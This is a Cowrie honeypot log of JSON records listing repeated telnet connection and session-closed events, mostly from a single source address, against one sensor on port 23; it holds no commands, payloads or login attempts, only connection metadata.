{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40102,"dst_ip":"159.203.135.109","dst_port":23,"session":"424855cbd5ac","protocol":"telnet","message":"New connection: 174.142.104.49:40102 (159.203.135.109:23) [session: 424855cbd5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.522886Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40216,"dst_ip":"159.203.135.109","dst_port":23,"session":"0753d14a0f87","protocol":"telnet","message":"New connection: 174.142.104.49:40216 (159.203.135.109:23) [session: 0753d14a0f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.575757Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39190,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f167ddfb260","protocol":"telnet","message":"New connection: 174.142.104.49:39190 (159.203.135.109:23) [session: 2f167ddfb260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:49.976253Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da529b5c32d","protocol":"telnet","message":"New connection: 174.142.104.49:41430 (159.203.135.109:23) [session: 4da529b5c32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.277966Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36532,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bc8f88f908","protocol":"telnet","message":"New connection: 174.142.104.49:36532 (159.203.135.109:23) [session: 90bc8f88f908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.377390Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56268,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1345528838","protocol":"telnet","message":"New connection: 174.142.104.49:56268 (159.203.135.109:23) [session: cb1345528838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.409429Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41628,"dst_ip":"159.203.135.109","dst_port":23,"session":"624ca6ac73f5","protocol":"telnet","message":"New connection: 174.142.104.49:41628 (159.203.135.109:23) [session: 624ca6ac73f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.443736Z"}
{"eventid":"cowrie.session.closed","duration":30.684776782989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.460483Z","src_ip":"174.142.104.49","session":"d375cac53058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035412311553955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.517459Z","src_ip":"174.142.104.49","session":"88d18068fdd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711617946624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:50.695449Z","src_ip":"174.142.104.49","session":"d966613e1315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.17000937461853,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:51.275474Z","src_ip":"174.142.104.49","session":"d288d6d0f553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41764,"dst_ip":"159.203.135.109","dst_port":23,"session":"90f418d9c592","protocol":"telnet","message":"New connection: 174.142.104.49:41764 (159.203.135.109:23) [session: 90f418d9c592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:51.509115Z"}
{"eventid":"cowrie.session.closed","duration":52.92986488342285,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:51.651195Z","src_ip":"174.142.104.49","session":"34967bbe4100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43618,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12879c7ef71","protocol":"telnet","message":"New connection: 174.142.104.49:43618 (159.203.135.109:23) [session: b12879c7ef71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:51.728821Z"}
{"eventid":"cowrie.session.closed","duration":55.04302000999451,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.172445Z","src_ip":"174.142.104.49","session":"e3adca972855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925796031951904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.230147Z","src_ip":"174.142.104.49","session":"350a29030012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41542,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc6d59cfb1c","protocol":"telnet","message":"New connection: 174.142.104.49:41542 (159.203.135.109:23) [session: 3dc6d59cfb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.393439Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44698,"dst_ip":"159.203.135.109","dst_port":23,"session":"986c5041b3df","protocol":"telnet","message":"New connection: 174.142.104.49:44698 (159.203.135.109:23) [session: 986c5041b3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.399580Z"}
{"eventid":"cowrie.session.closed","duration":61.0217821598053,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.487478Z","src_ip":"174.142.104.49","session":"74fa798b433e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44964,"dst_ip":"159.203.135.109","dst_port":23,"session":"818e6ca41a99","protocol":"telnet","message":"New connection: 174.142.104.49:44964 (159.203.135.109:23) [session: 818e6ca41a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.603744Z"}
{"eventid":"cowrie.session.closed","duration":15.484169483184814,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.837905Z","src_ip":"174.142.104.49","session":"30b76b284830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39242959022522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:52.973703Z","src_ip":"174.142.104.49","session":"94a0db31171c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1796019077301,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.084232Z","src_ip":"174.142.104.49","session":"20e7e7a7a2c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46056,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90422d78b45","protocol":"telnet","message":"New connection: 174.142.104.49:46056 (159.203.135.109:23) [session: d90422d78b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.296145Z"}
{"eventid":"cowrie.session.closed","duration":31.20261240005493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.314018Z","src_ip":"174.142.104.49","session":"619c52f8fb8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020197868347168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.590233Z","src_ip":"174.142.104.49","session":"5d557c9ad7ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45322,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d21adb8b009","protocol":"telnet","message":"New connection: 174.142.104.49:45322 (159.203.135.109:23) [session: 8d21adb8b009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.864407Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46876,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda5761d7db6","protocol":"telnet","message":"New connection: 174.142.104.49:46876 (159.203.135.109:23) [session: eda5761d7db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:53.885324Z"}
{"eventid":"cowrie.session.closed","duration":30.935862064361572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:54.379767Z","src_ip":"174.142.104.49","session":"e741383a803e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47628,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3b9549f53e","protocol":"telnet","message":"New connection: 174.142.104.49:47628 (159.203.135.109:23) [session: 5e3b9549f53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:54.404593Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47746,"dst_ip":"159.203.135.109","dst_port":23,"session":"e832a6463372","protocol":"telnet","message":"New connection: 174.142.104.49:47746 (159.203.135.109:23) [session: e832a6463372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:54.461105Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7305b5528f4","protocol":"telnet","message":"New connection: 174.142.104.49:48650 (159.203.135.109:23) [session: c7305b5528f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:54.970124Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f2eadafb1b8","protocol":"telnet","message":"New connection: 174.142.104.49:48816 (159.203.135.109:23) [session: 3f2eadafb1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.066280Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48894,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37dccc124ba","protocol":"telnet","message":"New connection: 174.142.104.49:48894 (159.203.135.109:23) [session: d37dccc124ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.100065Z"}
{"eventid":"cowrie.session.closed","duration":31.892415046691895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.148330Z","src_ip":"174.142.104.49","session":"18b042183b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49264,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0b1ca92ba0","protocol":"telnet","message":"New connection: 174.142.104.49:49264 (159.203.135.109:23) [session: 0a0b1ca92ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.326520Z"}
{"eventid":"cowrie.session.closed","duration":66.67648911476135,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.337384Z","src_ip":"174.142.104.49","session":"e01979e8328c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49312,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7cac391646","protocol":"telnet","message":"New connection: 174.142.104.49:49312 (159.203.135.109:23) [session: 2d7cac391646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.358536Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49403,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f3153f0480","protocol":"telnet","message":"New connection: 174.142.104.49:49403 (159.203.135.109:23) [session: 40f3153f0480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.400597Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49680,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f195972a8a","protocol":"telnet","message":"New connection: 174.142.104.49:49680 (159.203.135.109:23) [session: 89f195972a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.611549Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49906,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e67c0adf2d","protocol":"telnet","message":"New connection: 174.142.104.49:49906 (159.203.135.109:23) [session: 89e67c0adf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.716341Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50124,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16e9fcbe4e9","protocol":"telnet","message":"New connection: 174.142.104.49:50124 (159.203.135.109:23) [session: f16e9fcbe4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:55.853382Z"}
{"eventid":"cowrie.session.closed","duration":29.441534757614136,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.431894Z","src_ip":"174.142.104.49","session":"3405e95c8461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39704,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e57f6cd623","protocol":"telnet","message":"New connection: 174.142.104.49:39704 (159.203.135.109:23) [session: f9e57f6cd623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.553625Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51344,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1bc9f5d5aa","protocol":"telnet","message":"New connection: 174.142.104.49:51344 (159.203.135.109:23) [session: bf1bc9f5d5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.645135Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"73deef1eaab9","protocol":"telnet","message":"New connection: 174.142.104.49:49856 (159.203.135.109:23) [session: 73deef1eaab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.687223Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51496,"dst_ip":"159.203.135.109","dst_port":23,"session":"b734a79cd840","protocol":"telnet","message":"New connection: 174.142.104.49:51496 (159.203.135.109:23) [session: b734a79cd840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.715699Z"}
{"eventid":"cowrie.session.closed","duration":31.216794729232788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.818110Z","src_ip":"174.142.104.49","session":"f18af3e0037a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51690,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d3d4a0855c","protocol":"telnet","message":"New connection: 174.142.104.49:51690 (159.203.135.109:23) [session: e3d3d4a0855c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.821977Z"}
{"eventid":"cowrie.session.closed","duration":31.76954960823059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:56.998440Z","src_ip":"161.132.53.68","session":"41ca1322f300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52230,"dst_ip":"159.203.135.109","dst_port":23,"session":"9956d2413e56","protocol":"telnet","message":"New connection: 174.142.104.49:52230 (159.203.135.109:23) [session: 9956d2413e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.184348Z"}
{"eventid":"cowrie.session.closed","duration":30.41867756843567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.316040Z","src_ip":"161.132.53.68","session":"eb1dfab5d56f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55136,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c44f23f523","protocol":"telnet","message":"New connection: 174.142.104.49:55136 (159.203.135.109:23) [session: 34c44f23f523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.321280Z"}
{"eventid":"cowrie.session.closed","duration":0.013923883438110352,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.335107Z","src_ip":"174.142.104.49","session":"34c44f23f523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51004,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e66ad85cfd8","protocol":"telnet","message":"New connection: 174.142.104.49:51004 (159.203.135.109:23) [session: 3e66ad85cfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.444562Z"}
{"eventid":"cowrie.session.closed","duration":30.980912446975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:57.538512Z","src_ip":"174.142.104.49","session":"fccfb9f1ce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa68ee69ea3f","protocol":"telnet","message":"New connection: 174.142.104.49:52488 (159.203.135.109:23) [session: fa68ee69ea3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.331605Z"}
{"eventid":"cowrie.session.closed","duration":30.978437900543213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.544136Z","src_ip":"174.142.104.49","session":"1558d03963ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49610,"dst_ip":"159.203.135.109","dst_port":23,"session":"989fb542c655","protocol":"telnet","message":"New connection: 174.142.104.49:49610 (159.203.135.109:23) [session: 989fb542c655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.569276Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54602,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e174365108","protocol":"telnet","message":"New connection: 174.142.104.49:54602 (159.203.135.109:23) [session: 56e174365108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.585485Z"}
{"eventid":"cowrie.session.closed","duration":30.999024868011475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.623141Z","src_ip":"174.142.104.49","session":"f4cfa97206c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49896,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05b31e75057","protocol":"telnet","message":"New connection: 174.142.104.49:49896 (159.203.135.109:23) [session: d05b31e75057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.729571Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50024,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de8181bfc19","protocol":"telnet","message":"New connection: 174.142.104.49:50024 (159.203.135.109:23) [session: 0de8181bfc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.786415Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55318,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab79286af860","protocol":"telnet","message":"New connection: 174.142.104.49:55318 (159.203.135.109:23) [session: ab79286af860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.963184Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55402,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca9ac8d1bdd","protocol":"telnet","message":"New connection: 174.142.104.49:55402 (159.203.135.109:23) [session: dca9ac8d1bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:58.998766Z"}
{"eventid":"cowrie.session.closed","duration":30.651045322418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:59.226806Z","src_ip":"174.142.104.49","session":"066923bf813b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55772,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cf36b955015","protocol":"telnet","message":"New connection: 174.142.104.49:55772 (159.203.135.109:23) [session: 9cf36b955015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:59.232203Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54448,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98f25249f99","protocol":"telnet","message":"New connection: 174.142.104.49:54448 (159.203.135.109:23) [session: b98f25249f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:59.519490Z"}
{"eventid":"cowrie.session.closed","duration":30.675498485565186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:59.837471Z","src_ip":"174.142.104.49","session":"26df199a847c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56934,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc445eebd3e6","protocol":"telnet","message":"New connection: 174.142.104.49:56934 (159.203.135.109:23) [session: fc445eebd3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:59.950544Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ff2b57e359","protocol":"telnet","message":"New connection: 174.142.104.49:57062 (159.203.135.109:23) [session: 02ff2b57e359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:00.014274Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57612,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e39249572a5","protocol":"telnet","message":"New connection: 174.142.104.49:57612 (159.203.135.109:23) [session: 3e39249572a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:00.437782Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57658,"dst_ip":"159.203.135.109","dst_port":23,"session":"41915a3acf92","protocol":"telnet","message":"New connection: 174.142.104.49:57658 (159.203.135.109:23) [session: 41915a3acf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:00.486607Z"}
{"eventid":"cowrie.session.closed","duration":31.19806218147278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:00.574367Z","src_ip":"174.142.104.49","session":"ed588b41ed39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59918,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a4e44ca09f","protocol":"telnet","message":"New connection: 174.142.104.49:59918 (159.203.135.109:23) [session: 70a4e44ca09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:00.905546Z"}
{"eventid":"cowrie.session.closed","duration":31.576103925704956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.061882Z","src_ip":"174.142.104.49","session":"bff84335c9d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086211442947388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.224823Z","src_ip":"174.142.104.49","session":"3af90d77192c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41441774368286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.345898Z","src_ip":"174.142.104.49","session":"cb789192bc6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57634,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e0ceef2597","protocol":"telnet","message":"New connection: 174.142.104.49:57634 (159.203.135.109:23) [session: 78e0ceef2597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:01.449142Z"}
